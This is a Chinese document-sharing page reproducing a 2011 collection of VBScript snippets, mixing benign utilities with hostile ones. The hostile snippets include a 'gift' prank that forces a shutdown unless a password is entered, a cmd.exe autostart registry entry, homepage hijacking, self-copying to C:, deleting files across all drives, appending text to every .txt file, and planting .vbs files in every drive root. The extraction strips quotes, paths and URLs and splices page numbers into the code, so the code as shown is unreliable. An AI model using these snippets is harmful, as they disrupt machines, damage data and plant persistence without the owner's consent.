VBS脚本常用代码大全_2011_整理.doc
《VBS脚本常用代码大全_2011_整理.doc》由会员分享,可在线阅读,更多相关《VBS脚本常用代码大全_2011_整理.doc(22页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。
1、VBS脚本常用经典代码收集在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。VBS播放音乐Dim wmp Set wmp = CreateObject(WMPlayer.OCX) wmp.openStatewmp.URL = 想象之中.mp3 Do Until wmp.playState = 1 WScript.Sleep 1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Set shell=CreateObject(WScript.Shell)shell.run shutdown -s -t 60 -c 系统即将关闭.,0While
2、 InputBox(请输入答案,请回答)123 密码是123 MsgBox 答案在心中.,16+4096 4096 是让窗口在最顶层Wendshell.run shutdown -a,0MsgBox 恭喜,64修改桌面背景图片Sphoto=d:1.bmp输入你自己的BMP路径computer=.Const hkcu=&h80000001Set wmi=GetObject(winmgmts:& computer &rootdefault:stdregprov)wmi.getstringvalue hkcu,Control PanelDesktop,Wallpaper,Spathwmi.setst
3、ringvalue hkcu,Control PanelDesktop,TileWallpaper,0wmi.setstringvalue hkcu,Control PanelDesktop,WallpaperStyle,2wmi.setdwordvalue hkcu,SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced,ListviewShadow,1Set wmi=Nothing Set fso=CreateObject(scripting.filesystemobject)Set fs=fso.Getfile(Sphoto)back
4、name=fs.namefs.Name=fso.GetFileName(Spath)fs.Copy fso.GetParentFolderName(Spath) & ,Truefs.Name=backnameSet fso=Nothing Set ws=CreateObject(wscript.shell)ws.Run gpupdate /force,vbhide ws.Run RunDll32.exe USER32.DLL,UpdatePerUserSystemParametersSet ws=NothingVBS获取系统安装路径C:WINDOWS路径先定义这个变量是获取系统安装路径的,然后
5、我们用strWinDir调用这个变量。Set WshShell = WScript.CreateObject(WScript.Shell)strWinDir = WshShell.ExpandEnvironmentStrings(%WinDir%)VBS获取C:Program Files路径Set WshShell = WScript.CreateObject(WScript.Shell)strPorDir = WshShell.ExpandEnvironmentStrings(%ProgramFiles%)VBS获取C:Program FilesCommon Files路径Set WshSh
6、ell = WScript.CreateObject(WScript.Shell)strCommDir = WshShell.ExpandEnvironmentStrings(%CommonProgramFiles%)给桌面添加网址快捷方式Set WshShell = WScript.CreateObject(Wscript.Shell)strDesktop = WshShell.SpecialFolders(Desktop)Set oShellLink = WshShell.CreateShortcut(strDesktop & 百度.lnk)oShellLink.TargetPath =
7、oShellLink.Description = 百度主页oShellLink.IconLocation = %ProgramFiles%Internet Exploreriexplore.exe, 0oShellLink.Save给收藏夹添加网址Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject(Shell.Application)Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.Self Set objSh
8、ell = WScript.CreateObject(WScript.Shell)strDesktopFld = objFolderItem.PathSet objURLShortcut = objShell.CreateShortcut(strDesktopFld & 百度.url)objURLShortcut.TargetPath = objURLShortcut.Save删除指定目录指定后缀文件On Error Resume NextSet fso = CreateObject(Scripting.FileSystemObject)fso.DeleteFile C:*.vbs, True
9、Set fso = NothingVBS改主页Set oShell = CreateObject(WScript.Shell)oShell.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page,VBS加启动项Set oShell=CreateObject(Wscript.Shell)oShell.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionRuncmd,cmd.exeVBS复制自己到C盘Dim fsoSet fso = WScript.Cre
10、ateObject(Scripting.Filesystemobject)fso.getfile(wscript.scriptfullname).copy(c:cik.vbs)复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)Dim fsoSet fso = WScript.CreateObject(Scripting.Filesystemobject)fso.getfile(game.exe).copy(c:cik.exe)VBS获取系统临时目录Dim fsoSet fso = CreateObject(Scripting.FileSystem
11、Object)Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder就算代码出错 依然继续执行On Error Resume NextVBS打开网址Set objShell = CreateObject(Wscript.Shell)objShell.Run(VBS发送邮件NameSpace = Set Email = CreateObject(CDO.Message)Email.From = 发件Email.To =
12、收件Email.Subject = 这里写标题Email.Textbody = 这里写内容!Email.AddAttachment C:这是附件.txtWith Email.Configuration.Fields .Item(NameSpace&sendusing) = 2 .Item(NameSpace&smtpserver) = .Item(NameSpace&smtpserverport) = 25 .Item(NameSpace&smtpauthenticate) = 1 .Item(NameSpace&sendusername) = 发件人用户名 .Item(NameSpace&s
13、endpassword) = 发件人密码 .UpdateEnd WithEmail.SendVBS结束进程strComputer = .Set objWMIService = GetObject _ (winmgmts: & strComputer & rootcimv2)Set colProcessList = objWMIService.ExecQuery _ (Select * from Win32_Process Where Name = Rar.exe)For Each objProcess in colProcessList objProcess.Terminate()NextVB
14、S隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)createObject(wscript.shell).run start 兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。Set objws=WScript.CreateObject(wscript.shell)objws.Run C:Program FilesInternet Exploreriexplore.exe,0VBS遍历硬盘删除指定文件名On Error Resume NextDim fPat
15、hstrComputer = .Set objWMIService = GetObject(winmgmts: & strComputer & rootcimv2)Set colProcessList = objWMIService.ExecQuery(Select * from Win32_Process Where Name = gangzi.exe)For Each objProcess In colProcessList objProcess.Terminate()NextSet objWMIService = GetObject(winmgmts:impersonationLevel
16、=impersonate! & strComputer & rootcimv2)Set colDirs = objWMIService.ExecQuery(Select * from Win32_Directory where name LIKE %c:% or name LIKE %d:% or name LIKE %e:% or name LIKE %f:% or name LIKE %g:% or name LIKE %h:% or name LIKE %i:%)Set objFSO = CreateObject(Scripting.FileSystemObject)For Each o
17、bjDir In colDirs fPath = objDir.Name & cik.exe 如果文件名是cik.exe就删除 objFSO.DeleteFile(fPath), TrueNextVBS获取网卡MAC地址Dim mc,moSet mc=GetObject(Winmgmts:).InstancesOf(Win32_NetworkAdapterConfiguration)For Each mo In mc If mo.IPEnabled=True Then MsgBox 本机网卡MAC地址是: & mo.MacAddress Exit For End IfNextVBS获取本机注册
18、表主页地址Set reg=WScript.CreateObject(WScript.Shell)startpage=reg.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page)MsgBox startpageVBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话On Error Resume NextSet fso = CreateObject(Scripting.FileSystemObject)Co = vbCrLf & 路过。For Each i In fso
19、.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & ) End IfNextSub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i NextEnd SubSub Wh(fol) Dim i For Each i In fol.Files If LCase(fso.GetExtensionName(i) = txt Then fso.OpenTextFile(i,8,0).Write Co End If NextEnd Sub获取计算机所有盘符Set fso=CreateObjec
20、t(scripting.filesystemobject)Set objdrives=fso.Drives 取得当前计算机的所有磁盘驱动器For Each objdrive In objdrives 遍历磁盘 MsgBox objdriveNextVBS给本机所有磁盘根目录创建文件On Error Resume NextSet fso=CreateObject(Scripting.FileSystemObject)Set gangzis=fso.Drives 取得当前计算机的所有磁盘驱动器For Each gangzi In gangzis 遍历磁盘 Set TestFile=fso.Crea
21、teTextFile(&gangzi&新建文件夹.vbs,Ture) TestFile.WriteLine(By Cik) TestFile.CloseNextVBS遍历本机全盘找到所有123.exe,然后给他们改名321.exeSet fs = CreateObject(Scripting.FileSystemObject)For Each drive In fs.drives fstraversal drive.rootfolderNextSub fstraversal(byval this) For Each folder In this.subfolders fstraversal f
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- VBS 脚本 常用 代码 大全 _2011_ 整理
限制150内